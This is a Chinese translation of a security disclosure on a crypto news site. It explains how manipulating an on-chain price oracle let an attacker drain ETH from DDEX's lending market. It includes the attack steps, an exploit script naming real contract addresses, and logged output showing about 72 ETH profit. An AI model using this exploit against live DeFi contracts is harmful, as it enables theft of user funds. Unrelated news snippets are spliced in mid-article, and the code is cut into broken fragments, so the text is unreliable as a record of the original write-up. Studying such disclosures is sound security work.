通過操控抵押品價格預言機牟利_PRI

譯文出自：登鏈翻譯計劃

譯者：翻譯小組

校對：Tiny熊

太長不看版

因依賴鏈上去中心化的價格預言而不驗證返回的價格，DDEX和bZx容易受到價格操縱攻擊。這導致DDEX的ETH/DAI市場損失ETH流動性，以及bZx中所有損失流動性資金，在本文中，將介紹價格操縱攻擊的原理、如何實施的攻擊、以及如何應對。

什么是去中心化貸款？

首先，讓我們談談傳統貸款。貸款時，通常需要提供某種抵押品，這樣，如果你拖欠貸款，貸方便可以扣留抵押品。為了確定你需要提供多少抵押品，貸方通常會知道或能夠可靠地計算出抵押品的公平市場價值(FMV)。

在去中心化貸款中，除了貸方現在是與外界隔離的智能合約之外，其他過程相同。這意味著它不能簡單地“知道”你提供的任何抵押品的FMV。

為了解決此問題，開發人員指示智能合約查詢價格預言機，該預言機接受代幣地址并返回對應計價貨幣(例如ETH或USD)的當前價格。不同的DeFi項目采用了不同的方法來實現此預言機，但通常可以將它們全部歸類為以下五種方式之一(盡管某些實現比其他實現更模糊)：

鏈下中心化預言機這種類型的預言機只接受來自鏈下價格來源的新價格，通常來自項目控制的帳戶。由于需要使用新匯率快速通知更新預言機，因此該帳戶通常是EOA，而不是多簽錢包。可能需要進行一些合理的檢查，以確保價格波動不會太大。Compound和Synthetix的大多數資產使用這種類型的預言機。

Satoshi Action Fund創始人：德克薩斯州的反比特幣挖礦法案在沒有任何反對票的情況下通過了參議院委員會:金色財經報道，Satoshi Action Fund 創始人 Dennis Porter 在社交媒體上稱，德克薩斯州的反比特幣挖礦法案剛剛在沒有任何反對票的情況下毫無爭議地通過了參議院委員會。這是參議院第1751號法案，該法案取消了對礦工在農村社區創造就業機會的激勵措施，并對礦工參與某些電網平衡計劃的金額設定了上限。不幸的是，委員會成員被強大的法案提案人的影響力所左右。有消息稱，該法案也可能在參議院獲得通過。在眾議院對該法案進行反擊，以扼殺該法案，這一點至關重要。[2023/4/5 13:45:09]

鏈下去中心化預言機這種預言機從多個鏈下來源接受新價格，并通過數學函數(例如平均值)合并這些值。在此模型中，通常使用多簽名錢包來管理授權價格源列表。Maker針對ETH和其他資產使用這種類型的預言機。

鏈上中心化預言機這種類型的預言機使用鏈上價格來源(例如DEX)確定資產價格。但是，只有授權賬號才能觸發預言機從鏈上源讀取。像鏈下中心化預言機一樣，這種類型的預言機需要快速更新，因此授權觸發帳戶可能是EOA而不是多簽錢包。dYdX和Nuo針對一些資產使用這種類型的預言機。

鏈上去中心化預言機這種預言機使用鏈上價格來源確定資產價格，但是任何人都可以更新。可能需要進行一些合理檢查，以確保價格波動不會太大。DDEX將這種類型的預言機用于DAI，而bZx對所有資產使用這種類型的預言機。

CoinShares將通過兩次大宗交易回購近20萬股普通股:金色財經報道，CoinShares宣布將與兩名股東通過兩次大宗交易回購196,654股普通股，回購價格為每股24瑞典克朗，總回購金額為4,719,696瑞典克朗（約45.3萬美元）。CoinShares預計大宗交易將通過現金結算，并在2023年1月20日之前完成。

截至發稿時，CoinShare的股份總數為68,213,821股，持有自有股份82,886股。[2023/1/11 11:05:40]

常量預言機這種類型的預言機簡單地返回一個常數，通常用于穩定幣。由于USDC釘住美元，因此上述幾乎所有項目都將這種類型的預言機用于USDC。

問題

在尋找其他易受攻擊的項目時，我看到了這條推文：

老實說，我擔心他們會將其用作價格喂價源。如果我的預感是正確的，那很容易受到攻擊。

—Vitalik非以太贈予者(uint256eth2daiPrice=getEth2DaiPrice();if(eth2daiPrice>0){_price=makerDaoPrice

uint256uniswapPrice=getUniswapPrice();if(uniswapPrice>0){_price=makerDaoPrice

return_price;}functiongetEth2DaiPrice()publicviewreturns(uint256){if(Eth2Dai

Hive Blockchain將通過發行特別認股權證籌集1.1億加元:金色財經報道，Hive Blockchain正在通過發行特別認股權證籌集1.1億加元，以將其挖礦能力提高1 EH/s。這家加拿大礦商預計將使用此次發行的凈收益來開發數據中心并收購礦機。該公司還將把所得款項用于營運資金需求和其他一般企業用途。Stifel GMP將擔任主承銷商和唯一賬簿管理人，以每份6.00加元的價格發行約1670萬份“特別認股權證”。[2021/11/10 6:42:46]

uint256bidDai=Eth2Dai

else{returnbidPrice

}functiongetUniswapPrice()publicviewreturns(uint256){uint256ethAmount=UNISWAP

else{returnuniswapPrice;}}functiongetMakerDaoPrice()publicviewreturns(uint256){(bytes32value,boolhas)=makerDaoOracle

else{return0;}}

參考源碼

為了觸發更新并使預言機刷新其存儲的值，用戶只需調用updatePrice()即可。

functionupdatePrice()publicreturns(bool){uint256_price=peek();if(_price!=0){price=_price;emitUpdatePrice(price);returntrue;}else{returnfalse;}}

動態 | 前Ripple CTO推出博客平臺，通過XRP支付內容創建者:據coindesk報道，前Ripple CTO Stefan Thomas創立的創業公司Coil剛剛開放了其博客平臺的公開測試版。Coil會根據使用情況自動向內容創建者通過XRP付費，而用戶則需支付訂閱費。該平臺正在與數字錢包提供商Stronghold合作，除了XRP之外還支持美元兌現選項。[2019/5/2]

參考源碼

攻擊原理

假設我們可以操縱DAI/USD的價格表現。如果是這種情況，我們希望使用它借用系統中的所有ETH，同時提供盡可能少的DAI。為此，我們可以降低ETH/USD的表現價格或增加DAI/USD的表現價格。由于我們已經假設DAI/USD的表現價值是可操縱的，因此我們選擇后者。

為了增加DAI/USD的表現價格，我們可以增加ETH/USD的表現價格，或者降低ETH/DAI的表現價格。基于當前意圖和目的，操縱Maker的預言是不可能的，因此我們將嘗試降低ETH/DAI的表現價值。

編者注，因為DAI/USD價格=ETH/USD價格÷ETH/DAI價格

預言機通過Eth2Dai取當前要價和當前出價的平均值來計算ETH/DAI的值。為了降低此值，我們需要通過填充現有訂單來降低當前出價，然后通過下新訂單來降低當前要價。

但是，這需要大量的初始投資(因為我們需要先填寫訂單，然后再生成相等數量的訂單)，并且實施起來并不容易。另一方面，我們可以通過在Uniswap大量交易DAI來影響Uniswap中的價格。因此，我們的目標是繞過Eth2Dai邏輯并操縱Uniswap價格。

英國企業通過發行加密貨幣來解決脫歐帶來的“投資放緩”問題:據比特幣業內人士透露：英國企業正在通過發行自己的加密貨幣克服英國脫歐帶來的“投資放緩”問題。“加密貨幣正在為企業們提供機會，他們希望能基于此克服脫歐協議帶來的諸多不確定因素，并繼續接受投資。”投資者購買的加密貨幣就如同購買股票一樣，拉升了公司的價值。[2017/12/31]

為了繞過Eth2Dai，我們需要控制價格的波動幅度。我們可以通過以下兩種方式之一進行操作：

清除訂單的一側，而保留另一側。這導致價差正增長

通過列出極端的買入或賣出訂單來強制執行交叉的訂單。這會導致利差下降。

盡管選項2不會因不利訂單而造成任何損失，但SafeMath不允許使用交叉訂單，因此我們無法使用。相反，我們會通過清除訂單的一側來強制產生較大的正價差。這將導致DAI預言機回退到Uniswap來確定DAI的價格。然后，我們可以通過購買大量DAI來降低DAI/ETH的Uniswap價格。一旦操縱了DAI/USD的表現價值，便像往常一樣借貸很簡單。

攻擊演示

以下腳本將通過以下方式獲利約70ETH：

清除Eth2Dai的賣單，直到價差足夠大，以致預言機拒絕價格

從Uniswap購買更多DAI，價格從213DAI/ETH降至13DAI/ETH

用少量DAI(?2500)借出所有可用ETH(?120)

將我們從Uniswap購買的DAI賣回Uniswap

將我們從Eth2Dai購買的DAI賣回Eth2Dai

重置預言機(不想讓其他人濫用我們的優惠價格)

contractDDEXExploitisScript,Constants,TokenHelper{OracleLikeprivateconstantETH_ORACLE=OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);DaiOracleLikeprivateconstantDAI_ORACLE=DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);ERC20LikeprivateconstantHYDRO_ETH=ERC20Like(0x000000000000000000000000000000000000000E);HydroLikeprivateconstantHYDRO=HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);uint16privateconstantETHDAI_MARKET_ID=1;uintprivateconstantINITIAL_BALANCE=25000ether;functionsetup()public{name("ddex-exploit");blockNumber(8572000);}functionrun()public{begin("exploit")

functioncheckRates()external{uintethPrice=ETH_ORACLE

uintprivateboughtFromMatchingMarket=0;functionskewRates()external{skewUniswapPrice();skewMatchingMarket();require(DAI_ORACLE

functionskewUniswapPrice()internal{DAI

functionskewMatchingMarket()internal{uintstart=DAI

boughtFromMatchingMarket=DAI

functionsteal()external{HydroLike

functioncleanup()external{DAI

functioncheckProfits()external{printf("profits=%

}/*###runningscript"ddex-exploit"atblock8572000####executingstep:exploit#####calling:checkRates()eth=213.440000000000000000dai=1.003140638067989051#####calling:skewRates()#####calling:checkRates()eth=213.440000000000000000dai=16.058419875880325580#####calling:steal()ethWanted=122.103009983203364425daiNeeded=2435.392672403537525078#####calling:cleanup()#####calling:checkProfits()profits=72.140629996890984407####finishedexecutingstep:exploit*/

解決方案

DDEX團隊通過部署新的預言機解決了此問題這對DAI的價格設置了合約價格界限，目前將其設置為0.95和1.05。

本文來源于非小號媒體平臺：

登鏈社區

現已在非小號資訊平臺發布105篇作品，

非小號開放平臺歡迎幣圈作者入駐

入駐指南：

/apply_guide/

本文網址：

/news/9559363.html

免責聲明：

1.資訊內容不構成投資建議，投資者應獨立決策并自行承擔風險

2.本文版權歸屬原作所有，僅代表作者本人觀點，不代表非小號的觀點或立場

上一篇：

幣安為何推出第三條鏈？這對BNB意味著什么？

Tags：DAIETHPRIRICERDAITether CNHEchelon PrimeFrax Price Index

以太坊交易所